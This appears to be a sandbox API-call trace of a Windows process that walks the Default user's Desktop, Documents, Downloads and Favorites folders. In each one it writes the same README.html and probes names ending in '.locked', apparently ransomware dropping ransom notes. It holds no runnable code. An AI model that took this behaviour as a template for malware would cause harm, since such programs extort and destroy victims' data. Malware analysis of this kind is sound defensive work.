	[0082.550] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Desktop" (normalized: "c:\\users\\default\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.550] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop" (normalized: "c:\\users\\default\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.550] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.550] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.550] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.550] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.550] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.551] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop\\README.html" (normalized: "c:\\users\\default\\desktop\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.551] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.551] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.552] CloseHandle (hObject=0xc0) returned 1
	[0082.552] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee914*=0x33) returned 1
	[0082.553] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Desktop\\desktop.ini" (normalized: "c:\\users\\default\\desktop\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1
	[0082.553] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents" (normalized: "c:\\users\\default\\documents"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0082.553] CreateFileW (lpFileName="C:\\Users\\Default\\Documents" (normalized: "c:\\users\\default\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.554] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.554] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.554] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
	[0082.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
	[0082.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
	[0082.555] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.555] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.555] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\README.html" (normalized: "c:\\users\\default\\documents\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.557] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.558] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0c80*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.559] CloseHandle (hObject=0xc0) returned 1
	[0082.559] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123900e0*, nNumberOfCharsToWrite=0x35, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x123900e0*, lpNumberOfCharsWritten=0x127ee914*=0x35) returned 1
	[0082.560] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music" (normalized: "c:\\users\\default\\documents\\my music"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.560] CreateFileW (lpFileName="C:\\Users\\Default\\Documents\\My Music" (normalized: "c:\\users\\default\\documents\\my music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.560] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x127ee93c | out: lpFindFileData=0x127ee93c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0082.560] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12500120*, nNumberOfCharsToWrite=0x30, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12500120*, lpNumberOfCharsWritten=0x127ee8a0*=0x30) returned 1
	[0082.561] DeleteFileW (lpFileName="C:\\Users\\Default\\Documents\\My Music.locked" (normalized: "c:\\users\\default\\documents\\my music.locked")) returned 0
	[0082.561] RemoveDirectoryW (lpPathName="C:\\Users\\Default\\Documents\\My Music.locked" (normalized: "c:\\users\\default\\documents\\my music.locked")) returned 0
	[0082.561] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures" (normalized: "c:\\users\\default\\documents\\my pictures"), fInfoLevelId=0x0, lpFileInformation=0x123fc468 | out: lpFileInformation=0x123fc468*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.561] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos" (normalized: "c:\\users\\default\\documents\\my videos"), fInfoLevelId=0x0, lpFileInformation=0x123fc4b8 | out: lpFileInformation=0x123fc4b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.562] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Documents\\desktop.ini" (normalized: "c:\\users\\default\\documents\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc508 | out: lpFileInformation=0x123fc508*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192)) returned 1
	[0082.562] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Downloads" (normalized: "c:\\users\\default\\downloads"), fInfoLevelId=0x0, lpFileInformation=0x123fc558 | out: lpFileInformation=0x123fc558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.562] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads" (normalized: "c:\\users\\default\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.562] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.562] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.562] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.562] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.562] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.563] CreateFileW (lpFileName="C:\\Users\\Default\\Downloads\\README.html" (normalized: "c:\\users\\default\\downloads\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.563] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.563] WriteFile (in: hFile=0xc0, lpBuffer=0x126f2580*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f2580*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.564] CloseHandle (hObject=0xc0) returned 1
	[0082.564] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390150*, nNumberOfCharsToWrite=0x35, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12390150*, lpNumberOfCharsWritten=0x127ee914*=0x35) returned 1
	[0082.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc5f8 | out: lpFileInformation=0x123fc5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1
	[0082.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites" (normalized: "c:\\users\\default\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x123fc648 | out: lpFileInformation=0x123fc648*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.566] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites" (normalized: "c:\\users\\default\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.566] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.567] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0082.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1
	[0082.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1
	[0082.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1
	[0082.568] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.568] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.568] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\README.html" (normalized: "c:\\users\\default\\favorites\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.570] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.570] WriteFile (in: hFile=0xc0, lpBuffer=0x126f3200*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f3200*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.571] CloseHandle (hObject=0xc0) returned 1
	[0082.571] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123901c0*, nNumberOfCharsToWrite=0x35, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x123901c0*, lpNumberOfCharsWritten=0x127ee914*=0x35) returned 1
	[0082.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links" (normalized: "c:\\users\\default\\favorites\\links"), fInfoLevelId=0x0, lpFileInformation=0x123fc828 | out: lpFileInformation=0x123fc828*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.572] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links" (normalized: "c:\\users\\default\\favorites\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
